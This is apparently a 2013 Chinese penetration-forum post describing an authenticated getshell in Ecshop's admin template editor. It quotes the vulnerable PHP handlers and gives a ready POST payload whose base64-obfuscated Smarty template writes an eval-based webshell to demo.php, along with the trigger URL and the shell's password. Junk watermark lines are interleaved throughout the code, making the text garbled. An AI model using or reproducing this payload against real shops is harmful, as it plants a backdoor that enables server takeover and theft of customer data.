中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 L9 I0 \5 S' I0 `* i: _
6 m: a$ C: w; `; x
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
" Q& Z) A" e# A- D% x$ M9 a* p6 l5 r
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
7 K9 H% P" G' b0 {0 v0 ~5 f; n" v
admin/template.php
K# [. `, [3 l9 `5 t
9 M1 x- e0 _$ x- U& Q3 S2 D
1 if ($_REQUEST['act'] == 'update_library')
) D: h% P/ m' N7 W$ B
; Z; g, d, k3 I" x+ G2 q) G9 X# U
2
$ U8 x( I' a7 x3 g7 Y0 o
: s/ u2 s: Q3 k! R1 Y5 @& }; s
3 {
4 L$ H4 c2 i K/ p* F
+ @9 r6 _) D6 E* @& s* p' A
4 check_authz_json('library_manage');
r8 y4 q; _6 `% s# A( L1 ]$ t
! O8 e; ~# ^7 q2 K6 I
5
" B" y' j8 X/ X/ G& C) o
3 w2 J; k4 n- ?% ~6 a) P9 I
6 $html = stripslashes(json_str_iconv($_POST['html']));
! ^4 _& S+ B% k/ J9 N
/ ^: j2 O9 m# G
7
, b) J0 l: L) h
P2 I' A! a$ M/ N# W9 x8 M2 v2 f
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
2 s0 g* P" R! d0 o" B. X
' l1 ?. R7 d2 Z$ `
9
5 `& d2 _; x8 Y
$ c6 g. |$ ?1 E3 f1 A$ e
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
* X+ k& E: \/ Z& Y3 D. G
% U' i8 S9 }/ d- X, Y1 l b+ b/ h
11
2 p/ {2 Y* I2 f2 _- _: ?
2 Z7 u, t8 j/ f! u! Z2 }
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
8 C+ h2 g/ ~$ H% v' H6 I
* s' u8 f1 Y$ C8 ]- T! [$ ]7 E
13
+ @$ I. N2 |* ^7 [0 x
- G, x7 L( I7 d
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
1 h3 J" e3 w7 X6 `/ S6 _
- S8 Z- w) S1 X6 o; f
15 {
. \6 d6 L' Y. t& r# k6 F' F
$ M1 A0 t7 G; g; E7 X
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
8 x# K( n- G5 X- `0 }
9 _; F: \6 H: I8 \2 f7 R
17 make_json_result('', $_LANG['update_lib_success']);
' s- o; ^9 X* F' \7 j5 K! V
- L- Y9 D- t" b6 |2 m+ l9 z
18 }
: m* {, Y1 r; Y5 ]
, Y' L# D+ h) v5 `6 l
19 else
+ F8 R: T" s& x- p2 `
k- V8 [3 |1 ~: P Q
20 {
' y9 W a# S) W" ?4 I4 Z7 L
( Y" J. @5 l* m; V% \* L2 s( O& H
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
0 Z% a' S: z2 J7 o
2 z) R: e8 z# ^' S C4 ?
22 }
- n' ~9 d" F1 P5 ~
3 g3 V$ R4 X" E0 _$ W$ ~
23 }
. B( d2 K0 C( m! u( G3 K& Z. `
0 l) T0 H1 V3 a! N
那么找个比较方便调用了模板的文件
! s; q* F; J! X7 Y& w9 M% F* E! G) j
index.php
, ]$ \4 P* s9 M' f
9 q6 p P# k' |/ x8 b% [9 m0 n# a q* |
1 if ($act == 'cat_rec')
5 k% X5 E/ Q( _7 X% G) V
- q0 r6 `7 U- \+ w6 R2 `
2
2 ?3 B1 W' F, D1 s7 k8 S/ ]
q5 q0 I% i9 ^7 ^+ o8 r! _& d7 m
3 {
% K: V) a6 O0 \1 [% R
* I4 o: m0 N7 t6 ]# T; S" _
4
- e8 r; q$ s: i7 {
! V. ^; _/ U0 i
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
9 ~7 f# h' G1 L8 d
" C4 r* f3 G: N6 T: L
6
+ {3 B7 q6 D0 j( B- H5 |9 A
% [( [4 h6 U) w3 b3 h
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
\. P% v7 q/ w; ]- D9 m* D* N+ n
: g! @9 z, V* l- u
8
3 n' O/ s! d8 |7 N! G
( j7 {7 p' S0 a. k5 o6 ^8 W) s
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
) e% u9 A5 x" T, V' s
5 @# ]" E, S+ w6 h
10
S4 \1 r* b( e, l! T; T
" t) ^& ]) ?1 `5 n% S# {
11 include_once('includes/cls_json.php');
( u3 i+ c) `# C0 Q
: q5 d6 \2 Y7 P! j/ u
12
# m! P) Y- k5 X
& v* g: F# J4 \9 {, Y1 I. I
13 $json = new JSON;
- E8 L5 w7 N" R& A; e
; Z, z9 z! y1 _& o# p9 n
14
9 a2 d5 z7 A3 d% m' \
. O# j4 f. v8 z: G" W- w
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
( Z/ w+ g8 C. ] s$ q3 T2 a% {
; X* e' ]! p' `# T
16
) X$ h7 E' M3 ]0 o: Q; y
1 Y2 W7 l$ J4 O4 `
17 $children = get_children($cat_id);
7 b* v6 X% |9 D( L/ L8 ?
O: f$ _5 ^* [6 K( l' N
18
6 E2 m% X4 W' U$ z; ~/ Q& ?
G$ Z0 ] }& `! R. D5 k8 s$ b ]/ W
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
! r0 F2 X3 S$ h( V
N4 G( W W1 {8 [; V
20
4 Z' A0 L+ n2 G: e/ L4 f
4 H: k% t F5 f1 F" z6 s
21 $smarty->assign('cat_rec_sign', 1);
* N2 h7 c" t7 J8 R
2 p. e- g$ J# f6 w# Z
22
" O, x A- U2 H: p3 R) t) `
* O: k- ~ e& Q) S' m" j6 W
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* x; u4 B+ }# z0 M9 M
$ B9 N6 Z7 J; y. o. Y* v& A8 {
24
/ p( i/ C7 { k0 t! R" r1 E; p
5 B& T' k5 a; r
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
6 k0 @- t. e4 U* k4 P4 S
+ |. ~' _4 Z! j9 ]
26
/ Z3 h' J1 _) I! j
) f Q/ S8 ~; y w; z7 F6 m3 I3 ~
27 echo $rec_array[$rec_type];
) d, J& q/ i( C+ R: g, F
' b* [, ^) F9 t+ {0 i; \
28
3 M3 P. s% B' Z' q& P$ Q1 v5 }
3 Y: o/ n; r$ F
29 die($json->encode($result));
0 K/ G5 x5 m4 ~7 i& E$ n0 i5 Z0 B
8 P% [: W1 J' M( G" ^
30
; E+ O2 n. s4 Z \( P, p
: |8 Q4 x& l8 [9 B( i# ?9 N; G
31 }
% t, @6 D$ Q& [
/ Z: X$ \, S4 L) K; o
那么就有利用方法了
/ Y v, I M! L" c: W7 x
post包到http://localhost/ec/admin/template.php?act=update_library
, O& K7 d" m6 b* G/ G5 ?+ n: |: R) ]
Post内容:
. I3 P9 p5 w0 c4 c+ J. W G& H9 U" q
( E. h0 {! F1 s4 ~1 a* K% ~
$ R2 o4 c2 h `1 q6 Q. u
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
# X2 i- g+ g1 e
+ ^6 o, v8 \# b) \/ v5 H+ {& h4 w) I
然后访问http://localhost/ec/index.php?act=cat_rec
/ `3 I& B) Z3 p4 ~ l$ I g
# h/ D( n9 R+ Z' z
shel地址:http://localhost/ec/demo.php
) N2 W6 s* {6 e4 `. D
密码c
1 _" b1 C: y; F
. T" ^+ ?5 Z( x1 h# x2 T
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2